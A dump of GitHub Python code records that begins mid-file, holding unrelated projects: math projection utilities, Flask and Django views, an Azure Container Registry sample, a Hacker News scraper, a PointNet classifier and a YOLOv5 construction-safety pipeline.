np.concatenate((X[0:j],bit,X[j+1:]))\n\n@jit(nopython = True)\ndef decode_from_P(P):\n \"\"\"\n Given a distribution P, find the most likely vector\n \"\"\"\n N = P.shape[0]\n A = P.shape[1]\n \n X = np.arange(N)\n \n for i in range(N):\n max_val = -1e100\n for a in range(A):\n if P[i,a] > max_val:\n max_val = P[i,a]\n X[i] = a\n \n return X\n\n\n@jit(nopython = True)\ndef simplex_proj(p):\n \"\"\"\n Function to project a real vector onto the unit simplex hyperplane.\n Algorithm finds closes point on the simplex, i.e., solves the following\n problem\n \n argmin_{x} ||x-p||^2 \n \n s.t. sum(x) = 1\n x_i >= 0 forall i\n \n Check https://eng.ucmerced.edu/people/wwang5/papers/SimplexProj.pdf for\n description of algorithm.\n \n Parameters\n ----------\n - p: numpy array of length N\n \n Returns\n -------\n - p_proj: numpy array of positive entries such that entries sum to one\n \n \"\"\"\n A = p.shape[0]\n u = np.sort(p)[::-1]\n \n temp1 = np.zeros(A)\n \n for i in range(A):\n temp1[i] = u[:i+1].sum()\n \n temp2 = (1-temp1) / np.arange(1,A+1)\n \n rho = A\n for i in np.arange(A,0,-1):\n if (u[i-1] + temp2[i-1]) > 0:\n rho = i\n break\n \n lam = temp2[rho-1]\n \n p_proj = np.maximum(np.zeros(A),p+lam)\n return p_proj\n\n@jit(nopython = True)\ndef simplex_proj_mat(P):\n \"\"\"\n Function to project a matrix P onto the unit simplex\n \n Parameters\n ----------\n - P: N*A numpy array\n \n Returns\n -------\n - P_proj: N*A numpy array of positive entries such that each row sums to one\n \"\"\"\n P_proj = np.zeros_like(P)\n for i in range(P.shape[0]):\n P_proj[i,:] = simplex_proj(P[i,:])\n \n return P_proj","repo_name":"Sundar-1993/Trace_Reconstruction","sub_path":"inference_metaheuristics.py","file_name":"inference_metaheuristics.py","file_ext":"py","file_size_in_byte":18450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19110420377","text":"\"\"\"Module for projecting onto the kernel of a diagonal Mikowski metric tensor.\"\"\"\n\nimport math\nfrom copy import deepcopy\n\nimport numpy as np\nfrom numpy.linalg import eig\nfrom numpy.linalg import inv\nfrom numpy.linalg import svd\nfrom numpy.linalg import norm\n\nimport matplotlib.pyplot as plt\n\ndef ReLu(x):\n return np.maximum(0, x)\n\ndef kp(ls, v):\n \"\"\"\n This is the initial projection step, before gradient descent.\n\n ls stands for the eigenvalues (main diagonal) of\n metric tensor M. v is the vecor we are projecting onto\n the intersection of the kernel of l and the unit sphere.\n \n That is, we find the vector x such that \n -- norm(x) == 1\n -- x.T M x == 0\n -- the distance between x and v is minimal.\n \"\"\"\n i = np.argmax(ls)\n j = np.argmin(ls)\n\n s = np.sign(ls) #All chopping must take place before this procedure.\n vp = v*ReLu(s) #Positive space\n vn = v*ReLu(0 - s) #Negative space\n v0 = v*(1 - np.fabs(s)) #zero space (linear kernel)\n \n vp += v0 #Might change later; what to do with the linear kernel is a good question.\n \n Rp = np.sum(vp*vp) #L2 norms\n Rn = np.sum(vn*vn) #In the application, this might often be 0. \n\n\n #In case one of the projections is 0, we need this initialization.\n #I hope that it will still lead to the correct minimum.\n if Rn < 0.01/len(ls):\n vn = np.zeros(len(ls))\n vn[j] = 1.0\n Rn = 1.0\n \n if Rp < 0.01/len(ls):\n vp = np.zeros(len(ls))\n vp[i] = 1.0\n Rp = 1.0\n\n Qp = np.sum(vp*ls*vp) #Minkowski norms\n Qn = 0 - np.sum(vn*ls*vn)\n \n #Now, we solve for the right multipliers on the two spaces.\n u = Rp*Qn + Rn*Qp\n a2 = Qn/u\n b2 = Qp/u\n \n \n return np.sqrt(a2)*vp + np.sqrt(b2)*vn\n\n\ndef project(x, u):\n \"\"\"Projects u onto x\"\"\"\n return x*np.dot(x, u)/np.dot(x, x)\n\n\ndef project2(x, y, u):\n \"\"\"Projects vector u onto the space spanned by x and y\"\"\"\n z = y - project(x, y) #Switch to orthogonal basis.\n return project(x, u) + project(z, u)\n\n\ndef converge(ls, u, v=None, lr=0.01, maxIter = 1000000, cutoff=1e-8):\n \"\"\"Gradient-descent based convergence.\n Uses kp to get in the correct basin of attraction.\"\"\"\n if type(v) == type(None):\n v = kp(ls, u)\n s = u/norm(u)\n for i in range(maxIter):\n g = s - project2(ls*v, v, s) #Find lagrange multipliers and remove them, basically. Constrained gradient.\n if norm(g) < cutoff:\n print(\"Success!\")\n break\n v += lr*g\n v = kp(ls, v) #To avoid accumulated errors\n return v\n\n\n\n\n\n\n\n\n\n\n","repo_name":"atbolsh/LinearSpaceQuadraticKernel","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"45180291762","text":"from flask import current_app, Blueprint, render_template\nfrom torchvision.datasets import MNIST\n\nimport config\nfrom os.path import join\nfrom utils import image_to_base64, get_pil_image_from_dataset\n\n\nbp_index = Blueprint('index', __name__, url_prefix='/')\n\n\n@bp_index.route('/')\ndef index():\n\n dataset = MNIST(\n config.DATA_DIR, train=False\n )\n images = []\n for i in range(0, min(int(dataset.data.shape[0]), 300)):\n images.append(\n (i, image_to_base64(\n get_pil_image_from_dataset(dataset, i)\n ))\n )\n return render_template(\n 'index.html',\n sample_images=images\n )\n","repo_name":"pakjce/pytorch-toymodel-test","sub_path":"webapp_inference/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8721470973","text":"def isMonotonic(array):\n if len(array) < 3:\n return True\n direction = None\n for idx in range(1, len(array)):\n diff = array[idx] - array[idx - 1]\n if diff == 0:\n continue\n if direction is None:\n direction = diff > 0\n if direction != (diff > 0):\n return False\n return True\n","repo_name":"Muzque/Leetcode","sub_path":"AlgoExpert/array/isMonotonic/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70287655203","text":"import re\nfrom Base import BaseCRUDObjects,AutoVivification\n\nclass EstimateReminder(BaseCRUDObjects):\n def getParams_list(self, document):\n url = '/api/v1/estimatereminders'\n return\n\n def postParams(self, document):\n url = '/api/v1/estimatereminders'\n estimatereminder = AutoVivification()\n estimatereminder['automaticallysend'] = document['automaticallysend']\n estimatereminder['messages']['email']['uuid'] = document['messages']['email']['uuid']\n estimatereminder['messages']['email']['subject'] = document['messages']['email']['subject']\n estimatereminder['messages']['email']['message'] = document['messages']['email']['message']\n estimatereminder['messages']['sms']['uuid'] = document['messages']['sms']['uuid']\n estimatereminder['messages']['sms']['message'] = document['messages']['sms']['message']\n estimatereminder = {'estimatereminder' :estimatereminder}\n\n path = url\n url_params = re.findall('\\{([A-Za-z0-9]+)\\}',path)\n if url_params:\n for url_param in url_params :\n path = path.replace('{' + url_param + '}',str(eval(url_param)))\n self.url = path\n\n return estimatereminder\n\n","repo_name":"HarishAtGitHub/couchbase-mobile-webserver-synchlistener","sub_path":"synch-listener/gen/EstimateReminder.py","file_name":"EstimateReminder.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"39166686535","text":"from django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponse\nfrom django.core.mail import send_mail, BadHeaderError\nfrom shop.models import Category, Product\nfrom simple_shop.forms import *\nfrom .models import *\n\n\n# Create your views here.\ndef index(request):\n categories = Category.objects.all()\n products = Product.objects.all()\n title = 'Главная'\n name = 'index'\n return render(request, 'index.html', {'title': title,\n 'products': products,\n 'categories': categories,\n 'name': name\n })\n\ndef contacts(request):\n title = 'Контакты'\n categories = Category.objects.all()\n if request.method == 'POST':\n form = ContactForm(request.POST)\n # Если форма заполнена корректно, сохраняем все введённые\n # пользователем значения\n if form.is_valid():\n subject = form.cleaned_data['subject']\n sender = form.cleaned_data['sender']\n message = form.cleaned_data['message']\n copy = form.cleaned_data['copy']\n\n recipients = ['viva.fidz@yandex.ru']\n # Если пользователь захотел получить копию себе, добавляем его в список получателей\n if copy:\n recipients.append(sender)\n try:\n send_mail(subject, message, 'viva.fidz@yandex.ru', recipients)\n except BadHeaderError: # Защита от уязвимости\n return HttpResponse('Invalid header found')\n # Переходим на другую страницу, если сообщение отправлено\n return render(request, 'thanks.html', {'title': title, 'categories': categories})\n else:\n # Заполняем форму\n form = ContactForm()\n # Отправляем форму на страницу\n return render(request, 'contacts.html', {'title': title, 'form': form, 'categories': categories})\n\n\ndef thanks(request):\n categories = Category.objects.all()\n title = 'Контакты'\n return render(request, 'thanks.html', {'title': title,\n 'categories': categories})\n\n\n# Страница с товарами\ndef ProductList(request, id):\n title = 'Товары'\n category = get_object_or_404(Category, id=id)\n categories = Category.objects.all()\n products = Product.objects.all()\n products.filter(category=category)\n return render(request, 'product/list.html', {\n 'title': title,\n 'category': category,\n 'categories': categories,\n 'products': products\n })\n\n\ndef CategoryList(request):\n title = 'Категории'\n categories = Category.objects.all()\n products = Product.objects.all()\n return render(request, 'category/list.html', {\n 'title': title,\n 'categories': categories,\n 'products': products\n })\n\n\n# Страница товара\ndef ProductDetail(request, product_id=id):\n categories = Category.objects.all()\n product = get_object_or_404(Product, id=product_id)\n return render(request, 'product/detail.html', {'product': product, 'categories': categories})\n\n # Страница с товарами\n\n # def ProductList(request, id):\n # categories = Category.objects.all()\n # products = Product.objects.filter(available=True)\n # category = get_object_or_404(Category, id=id)\n # products = products.filter(category=category)\n # return render(request, 'shop/product/list.html', {\n # 'category': category,\n # 'categories': categories,\n # 'products': products\n # })\n\n # Страница товара\n # def ProductDetail(request, id, slug):\n # product = get_object_or_404(Product, id=id, slug=slug, available=True)\n # cart_product_form = CartAddProductForm()\n # return render(request, 'shop/product/detail.html',\n # {'product': product,\n # 'cart_product_form': cart_product_form})\n","repo_name":"viva-fidz/Phaza-shop","sub_path":"shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8347891845","text":"import os\nimport glob\nimport trimesh\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom matplotlib import pyplot as plt\nimport open3d as o3d\nimport json\n\nDATA_DIR = os.path.join(os.path.expanduser('~'), 'Documents', 'AirSim',\"ModelNet40\")\nNUM_POINTS = 6000\nNUM_CLASSES = 3\nBATCH_SIZE = 5\n\nclass OrthogonalRegularizer(keras.regularizers.Regularizer):\n def __init__(self, num_features, l2reg=0.001):\n self.num_features = num_features\n self.l2reg = l2reg\n self.eye = tf.eye(num_features)\n\n def __call__(self, x):\n x = tf.reshape(x, (-1, self.num_features, self.num_features))\n xxt = tf.tensordot(x, x, axes=(2, 2))\n xxt = tf.reshape(xxt, (-1, self.num_features, self.num_features))\n return tf.reduce_sum(self.l2reg * tf.square(xxt - self.eye))\n\ndef parse_dataset(num_points=2048):\n\n train_points = []\n train_labels = []\n test_points = []\n test_labels = []\n class_map = {}\n\n for i, folder in enumerate(os.listdir(DATA_DIR)):\n print(\"processing class: {}\".format(folder))\n # store folder name with ID so we can retrieve later\n class_map[i] = folder\n # gather all files\n train_files = glob.glob(os.path.join(DATA_DIR,folder, \"train/*\"))\n test_files = glob.glob(os.path.join(DATA_DIR,folder, \"test/*\"))\n\n for f in train_files:\n train_points.append(trimesh.load(f).sample(num_points))\n train_labels.append(i)\n\n for f in test_files:\n test_points.append(trimesh.load(f).sample(num_points))\n test_labels.append(i)\n\n return (\n np.array(train_points),\n np.array(test_points),\n np.array(train_labels),\n np.array(test_labels),\n class_map,\n )\n\ndef augment(points, label):\n # jitter points\n points += tf.random.uniform(points.shape, -0.005, 0.005, dtype=tf.float64)\n # shuffle points\n points = tf.random.shuffle(points)\n return points, label\n\ndef conv_bn(x, filters):\n x = layers.Conv1D(filters, kernel_size=1, padding=\"valid\")(x)\n x = layers.BatchNormalization(momentum=0.0)(x)\n return layers.Activation(\"relu\")(x)\n\n\ndef dense_bn(x, filters):\n x = layers.Dense(filters)(x)\n x = layers.BatchNormalization(momentum=0.0)(x)\n return layers.Activation(\"relu\")(x)\n\ndef tnet(inputs, num_features):\n\n # Initalise bias as the indentity matrix\n bias = keras.initializers.Constant(np.eye(num_features).flatten())\n reg = OrthogonalRegularizer(num_features)\n\n x = conv_bn(inputs, 32)\n x = conv_bn(x, 64)\n x = conv_bn(x, 512)\n x = layers.GlobalMaxPooling1D()(x)\n x = dense_bn(x, 256)\n x = dense_bn(x, 128)\n x = layers.Dense(\n num_features * num_features,\n kernel_initializer=\"zeros\",\n bias_initializer=bias,\n activity_regularizer=reg,\n )(x)\n feat_T = layers.Reshape((num_features, num_features))(x)\n # Apply affine transformation to input features\n return layers.Dot(axes=(2, 1))([inputs, feat_T])\n\n\ndef train():\n\n train_points, test_points, train_labels, test_labels, CLASS_MAP = parse_dataset(NUM_POINTS)\n\n with open(os.path.join(os.path.dirname(__file__),\"object_classifier_data\",\"object_class_info.json\"), 'w') as file:\n CLASS_MAP = {v: k for k, v in CLASS_MAP.items()}\n file.write(json.dumps(CLASS_MAP))\n\n train_dataset = tf.data.Dataset.from_tensor_slices((train_points, train_labels))\n test_dataset = tf.data.Dataset.from_tensor_slices((test_points, test_labels))\n\n train_dataset = train_dataset.shuffle(len(train_points)).map(augment).batch(BATCH_SIZE)\n test_dataset = test_dataset.shuffle(len(test_points)).batch(BATCH_SIZE)\n\n inputs = keras.Input(shape=(NUM_POINTS, 3))\n\n x = tnet(inputs, 3)\n x = conv_bn(x, 32)\n x = conv_bn(x, 32)\n x = tnet(x, 32)\n x = conv_bn(x, 32)\n x = conv_bn(x, 64)\n x = conv_bn(x, 512)\n x = layers.GlobalMaxPooling1D()(x)\n x = dense_bn(x, 256)\n x = layers.Dropout(0.3)(x)\n x = dense_bn(x, 128)\n x = layers.Dropout(0.3)(x)\n\n outputs = layers.Dense(NUM_CLASSES, activation=\"softmax\")(x)\n\n model = keras.Model(inputs=inputs, outputs=outputs, name=\"pointnet\")\n print(model.summary())\n\n model.compile(\n loss=\"sparse_categorical_crossentropy\",\n optimizer=keras.optimizers.Adam(learning_rate=0.001),\n metrics=[\"sparse_categorical_accuracy\"],\n )\n\n model.fit(train_dataset, epochs=1, validation_data=test_dataset)\n\n model.save_weights(os.path.join(os.path.dirname(__file__),\"object_classifier_data\",\"object_classification_model\"))\n\ndef classify(object_path):\n\n inputs = keras.Input(shape=(NUM_POINTS, 3))\n\n x = tnet(inputs, 3)\n x = conv_bn(x, 32)\n x = conv_bn(x, 32)\n x = tnet(x, 32)\n x = conv_bn(x, 32)\n x = conv_bn(x, 64)\n x = conv_bn(x, 512)\n x = layers.GlobalMaxPooling1D()(x)\n x = dense_bn(x, 256)\n x = layers.Dropout(0.3)(x)\n x = dense_bn(x, 128)\n x = layers.Dropout(0.3)(x)\n\n outputs = layers.Dense(NUM_CLASSES, activation=\"softmax\")(x)\n\n model = keras.Model(inputs=inputs, outputs=outputs, name=\"pointnet\")\n\n\n model.load_weights(os.path.join(os.path.dirname(__file__),\"object_classifier_data\",\"object_classification_model\"))\n\n with open(os.path.join(os.path.dirname(__file__),\"object_classifier_data\",\"object_class_info.json\")) as json_file:\n class_info = json.load(json_file)\n\n points = trimesh.load(object_path).sample(NUM_POINTS)\n\n points = np.expand_dims(points, axis=0)\n\n preds = model.predict(points)\n index = np.argmax(preds)\n\n print(\"predited class:\",list(class_info)[index],\"with accuracy\",preds[0][index])\n\n fig = plt.figure(figsize=(15, 10))\n ax = fig.add_subplot(2, 4, 0 + 1, projection=\"3d\")\n ax.scatter(points[0, :, 0], points[0, :, 1], points[0, :, 2])\n ax.set_title(\"pred: {:}, probability: {:}\".format(list(class_info)[index], preds[0][index]))\n ax.set_axis_off()\n plt.show()\n \n#train()\nclassify(\"C:/Users/jorge/Documents/AirSim/data/mission_0/object_0/object.obj\")\n\n","repo_name":"Jorgelzn/UAV-3D-Reconstruction","sub_path":"scripts/object_classifier.py","file_name":"object_classifier.py","file_ext":"py","file_size_in_byte":6072,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"25966149128","text":"'''\nAuthor : Keerthi Vutukuri\nDate : 07- 04-2020\nName : Counting Elements\n'''\ndef countElements(self, arr: List[int]) -> int:\n dictionary = {}\n for i in arr:\n dictionary[i] = 1\n count = 0\n for x in arr:\n if x + 1 in dictionary:\n count += 1\n return count\n","repo_name":"keerthiv1119/CoronaRelief","sub_path":"Day7_CountingElements.py","file_name":"Day7_CountingElements.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6302620285","text":"\r\nprint(\"Application to add the digits of a given integer.\")\r\n\r\ndef Length(Value):\r\n sum = 0\r\n for i in str(Value):\r\n sum = sum + int(i)\r\n return sum\r\n\r\ndef main():\r\n print(\"Enter a number: \")\r\n no1= int(input())\r\n length = Length(no1)\r\n print(\"Addition of digits is: \",length)\r\n \r\nif __name__ == \"__main__\":\r\n main()","repo_name":"NeelayKadam18/Python","sub_path":"Assignment2_10.py","file_name":"Assignment2_10.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3528789062","text":"import asyncio\nimport os\nimport json\nfrom io import BytesIO\nfrom dotenv import find_dotenv, load_dotenv\nfrom azure.containerregistry import DigestValidationError\nfrom azure.containerregistry.aio import ContainerRegistryClient\nfrom utilities import get_authority, get_credential\n\n\nclass SetGetImageAsync(object):\n def __init__(self):\n load_dotenv(find_dotenv())\n self.endpoint = os.environ[\"CONTAINERREGISTRY_ANONREGISTRY_ENDPOINT\"]\n self.authority = get_authority(self.endpoint)\n self.credential = get_credential(self.authority, is_async=True)\n\n async def set_get_oci_image(self):\n repository_name = \"sample-oci-image-async\"\n sample_layer = BytesIO(b\"Sample layer\")\n config = BytesIO(\n json.dumps(\n {\n \"sample config\": \"content\",\n }\n ).encode()\n )\n async with ContainerRegistryClient(self.endpoint, self.credential) as client:\n # Upload a layer\n layer_digest, layer_size = await client.upload_blob(repository_name, sample_layer)\n print(f\"Uploaded layer: digest - {layer_digest}, size - {layer_size}\")\n # Upload a config\n config_digest, config_size = await client.upload_blob(repository_name, config)\n print(f\"Uploaded config: digest - {config_digest}, size - {config_size}\")\n # Create an oci image with config and layer info\n oci_manifest = {\n \"config\": {\n \"mediaType\": \"application/vnd.oci.image.config.v1+json\",\n \"digest\": config_digest,\n \"sizeInBytes\": config_size,\n },\n \"schemaVersion\": 2,\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.oci.image.layer.v1.tar\",\n \"digest\": layer_digest,\n \"size\": layer_size,\n \"annotations\": {\n \"org.opencontainers.image.ref.name\": \"artifact.txt\",\n },\n },\n ],\n }\n\n # Set the image\n manifest_digest = await client.set_manifest(repository_name, oci_manifest, tag=\"latest\")\n print(f\"Uploaded manifest: digest - {manifest_digest}\")\n # [END upload_blob_and_manifest]\n\n # [START download_blob_and_manifest]\n # Get the image\n get_manifest_result = await client.get_manifest(repository_name, \"latest\")\n received_manifest = get_manifest_result.manifest\n print(f\"Got manifest:\\n{received_manifest}\")\n\n # Download and write out the layers\n for layer in received_manifest[\"layers\"]:\n # Remove the \"sha256:\" prefix from digest\n layer_file_name = layer[\"digest\"].split(\":\")[1]\n try:\n stream = await client.download_blob(repository_name, layer[\"digest\"])\n with open(layer_file_name, \"wb\") as layer_file:\n async for chunk in stream:\n layer_file.write(chunk)\n except DigestValidationError:\n print(f\"Downloaded layer digest value did not match. Deleting file {layer_file_name}.\")\n os.remove(layer_file_name)\n print(f\"Got layer: {layer_file_name}\")\n # Download and write out the config\n config_file_name = \"config.json\"\n try:\n stream = await client.download_blob(repository_name, received_manifest[\"config\"][\"digest\"])\n with open(config_file_name, \"wb\") as config_file:\n async for chunk in stream:\n config_file.write(chunk)\n except DigestValidationError:\n print(f\"Downloaded config digest value did not match. Deleting file {config_file_name}.\")\n os.remove(config_file_name)\n print(f\"Got config: {config_file_name}\")\n\n # Delete the layers\n for layer in received_manifest[\"layers\"]:\n await client.delete_blob(repository_name, layer[\"digest\"])\n # Delete the config\n await client.delete_blob(repository_name, received_manifest[\"config\"][\"digest\"])\n\n # Delete the image\n await client.delete_manifest(repository_name, get_manifest_result.digest)\n\n async def set_get_docker_image(self):\n repository_name = \"sample-docker-image\"\n async with ContainerRegistryClient(self.endpoint, self.credential) as client:\n # Upload a layer\n sample_layer = BytesIO(b\"Sample layer\")\n layer_digest, layer_size = await client.upload_blob(repository_name, sample_layer)\n print(f\"Uploaded layer: digest - {layer_digest}, size - {layer_size}\")\n # Upload a config\n config = BytesIO(json.dumps({\"sample config\": \"content\"}).encode())\n config_digest, config_size = await client.upload_blob(repository_name, config)\n print(f\"Uploaded config: digest - {config_digest}, size - {config_size}\")\n # create a Docker image object in Docker v2 Manifest format\n docker_manifest = {\n \"config\": {\n \"digest\": config_digest,\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": config_size,\n },\n \"layers\": [\n {\n \"digest\": layer_digest,\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": layer_size,\n }\n ],\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"schemaVersion\": 2,\n }\n # Set the image with one custom media type\n await client.set_manifest(\n repository_name, docker_manifest, tag=\"sample\", media_type=str(docker_manifest[\"mediaType\"])\n )\n\n # Get the image\n get_manifest_result = await client.get_manifest(repository_name, \"sample\")\n received_manifest = get_manifest_result.manifest\n print(received_manifest)\n received_manifest_media_type = get_manifest_result.media_type\n print(received_manifest_media_type)\n\n # Delete the image\n client.delete_manifest(repository_name, get_manifest_result.digest)\n\n\nasync def main():\n sample = SetGetImageAsync()\n await sample.set_get_oci_image()\n await sample.set_get_docker_image()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"Azure/azure-sdk-for-python","sub_path":"sdk/containerregistry/azure-containerregistry/samples/sample_set_get_image_async.py","file_name":"sample_set_get_image_async.py","file_ext":"py","file_size_in_byte":6767,"program_lang":"python","lang":"en","doc_type":"code","stars":3916,"dataset":"github-code","pt":"54"} +{"seq_id":"4034108317","text":"#!/usr/bin/python3\n\n\"\"\" contains a function add_integer \"\"\"\n\ndef add_integer(a, b=98):\n \"\"\"a function that adds 2 integers.\n\n Args:\n a: an integer or float with no defualt value\n b: an integer or float with default value of 98\n\n Exceptions:\n TypeError: a and b must be an integer\n\n Return:\n an integer addition of a and b\n \"\"\"\n\n if ((not isinstance(a, int) and not isinstance(a, float))):\n raise TypeError(\"a must be an integer\")\n if ((not isinstance(b, int) and not isinstance(b, float))):\n raise TypeError(\"b must be an integer\")\n return (int(a) + int(b))\n","repo_name":"Ayokayzy/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15670279039","text":"import numpy as np\n\n\ndef parse_inputs(inputs):\n return np.array([[int(x) for x in input] for input in inputs])\n\n\ndef step(energies):\n energies = energies + 1\n\n has_flashed = []\n to_flash = list(np.argwhere(energies == 10))\n\n while to_flash:\n to_flash_next = []\n for octopus_index in to_flash:\n if list(octopus_index) not in has_flashed:\n energies = increment_neighbours(octopus_index, energies)\n has_flashed.append(list(octopus_index))\n to_flash_next.append(list(np.argwhere(energies == 10)))\n to_flash = [\n index for flash_list in to_flash_next for index in flash_list\n ]\n return normalise_energies(energies)\n\n\ndef increment_neighbours(index, energies):\n x = index[0]\n y = index[1]\n energies[x, y] += 1\n if x - 1 >= 0:\n energies[x - 1, y] += 1\n if y - 1 >= 0:\n energies[x - 1, y - 1] += 1\n if y + 1 < energies.shape[1]:\n energies[x - 1, y + 1] += 1\n if x + 1 < energies.shape[1]:\n energies[x + 1, y] += 1\n if y - 1 >= 0:\n energies[x + 1, y - 1] += 1\n if y + 1 < energies.shape[1]:\n energies[x + 1, y + 1] += 1\n if y - 1 >= 0:\n energies[x, y - 1] += 1\n if y + 1 < energies.shape[1]:\n energies[x, y + 1] += 1\n return energies\n\n\ndef normalise_energies(energies):\n return np.where(energies > 9, 0, energies)\n","repo_name":"Nicky027/advent-of-code","sub_path":"advent_of_code_2021/day_11/octopus.py","file_name":"octopus.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20656419937","text":"from bs4 import BeautifulSoup\nimport requests\n\nresponse = requests.get(\"https://news.ycombinator.com/\")\nyc_webpage = response.text\n\nsoup = BeautifulSoup(yc_webpage, \"html.parser\")\n# Get all articles\narticles = soup.find_all(class_=\"titleline\")\narticle_texts = []\narticle_links = []\nfor article_tag in articles:\n # Get the title\n text = article_tag.get_text()\n article_texts.append(text)\n # Get the link\n link = article_tag.find(\"a\").get(\"href\")\n article_links.append(link)\n# print(article_texts)\n# print(article_links)\n\n# Check if class score exists inside class subline and get the score\nall_sublines = soup.find_all(class_=\"subtext\")\narticle_upvotes = []\nfor subline in all_sublines:\n if subline.find(class_=\"score\"):\n article_upvotes.append(subline.find(class_=\"score\").getText())\n else:\n article_upvotes.append(\"0\")\n# print(article_upvotes)\narticle_upvotes_split = [int(article.split(\" \")[0]) for article in article_upvotes]\n# print(article_upvotes_split)\n# Get biggest number of upvotes\nmost_upvotes = max(article_upvotes_split)\n# print(most_upvotes)\n# Get bigger number index\nbiggest_upvotes_index = article_upvotes_split.index(most_upvotes)\n# print(biggest_upvotes_index)\n\nprint(article_texts[biggest_upvotes_index])\nprint(article_links[biggest_upvotes_index])\nprint(f\"Most upvoted: {most_upvotes}\")\n\n#################### CLASS ROOM #####################\n# import lxml\n#\n# with open(\"website.html\", \"r\", encoding=\"utf-8\") as file:\n# contents = file.read()\n#\n# soup = BeautifulSoup(contents, \"html.parser\")\n# print(soup.title.string)\n# print(soup.title.name)\n# all_anchor_tabs = soup.find_all(name=\"a\")\n# for tag in all_anchor_tabs:\n# print(tag.get(\"href\"))\n\n# heading = soup.find(name=\"h1\", id=\"name\")\n# print(heading.string)\n\n# section_heading = soup.find(name=\"h3\", class_=\"heading\")\n# print(section_heading.getText())\n\n# company_url = soup.select_one(\"p a\")\n# print(company_url)\n\n# name = soup.select_one(selector=\"#name\")\n# print(name)\n\n# headings = soup.select(selector=\".heading\")\n# print(headings)\n","repo_name":"IvanTrigueiro/100-Days-of-Python-Pro-2023","sub_path":"Day-45-Beautiful-Soup/classroom.py","file_name":"classroom.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13913566467","text":"import cv2\r\nfrom yolov5 import load_model, read_image, inference\r\n\r\n\r\ndef get_center(x1, y1, x2, y2):\r\n return ((x1+x2)//2), ((y1+y2)//2)\r\n\r\nif __name__ == \"__main__\":\r\n image_path = \"./images/2_348.png\"\r\n model_path = './yolov5/weights/last.pt'\r\n labels = ['JCB', 'Person', 'Truck', 'Helmet', 'Crane', 'Jacket']\r\n colors = [(255, 0, 0), (0, 0, 255), (255, 0, 0), (255, 163, 255), (255, 0, 0), (0, 180, 255)]\r\n\r\n model = load_model(model_path)\r\n image = read_image(image_path)\r\n\r\n results = inference(model, image)\r\n dets = results.xyxy[0]\r\n dets = [list(map(int, lst)) for lst in dets]\r\n\r\n persons, helmets, jackets = [], [], []\r\n image = image[:, :, ::-1]\r\n for det in dets:\r\n if det[5] == 1:\r\n persons.append(det)\r\n elif det[5] == 3:\r\n helmets.append(det)\r\n elif det[5] == 5:\r\n jackets.append(det)\r\n else: \r\n cv2.rectangle(image, (det[0], det[1]), (det[2], det[3]), colors[det[5]], thickness=2)\r\n cv2.putText(image, labels[det[5]], (det[0], det[1] - 10), fontFace=cv2.FONT_HERSHEY_SIMPLEX, fontScale=0.5, color=colors[det[5]], thickness=2)\r\n \r\n flag_h = 0\r\n flag_j = 0\r\n for person in persons:\r\n x1, y1, x2, y2 = person[0], person[1], person[2], person[3]\r\n for helmet in helmets:\r\n h_cx, h_cy = get_center(helmet[0], helmet[1], helmet[2], helmet[3])\r\n if x1 <= h_cx <= x2 and y1 <= h_cy <= y2:\r\n flag_h = 1\r\n \r\n for jacket in jackets:\r\n j_cx, j_cy = get_center(jacket[0], jacket[1], jacket[2], jacket[3])\r\n if x1 <= j_cx <= x2 and y1 <= j_cy <= y2:\r\n flag_j = 1\r\n\r\n if flag_h and flag_j:\r\n cv2.rectangle(image, (person[0], person[1]), (person[2], person[3]), (0, 255, 0), thickness=2)\r\n cv2.putText(image, labels[person[5]], (person[0], person[1] - 10), fontFace=cv2.FONT_HERSHEY_SIMPLEX, fontScale=0.5, color=(0, 255, 0), thickness=2)\r\n else:\r\n cv2.rectangle(image, (person[0], person[1]), (person[2], person[3]), (0, 0, 255), thickness=2)\r\n cv2.putText(image, labels[person[5]], (person[0], person[1] - 10), fontFace=cv2.FONT_HERSHEY_SIMPLEX, fontScale=0.5, color=(0, 0, 255), thickness=2)\r\n\r\n flag_h = flag_j = 0\r\n cv2.imwrite(\"results.jpg\", image)","repo_name":"aditya-dl/construction-safety","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} 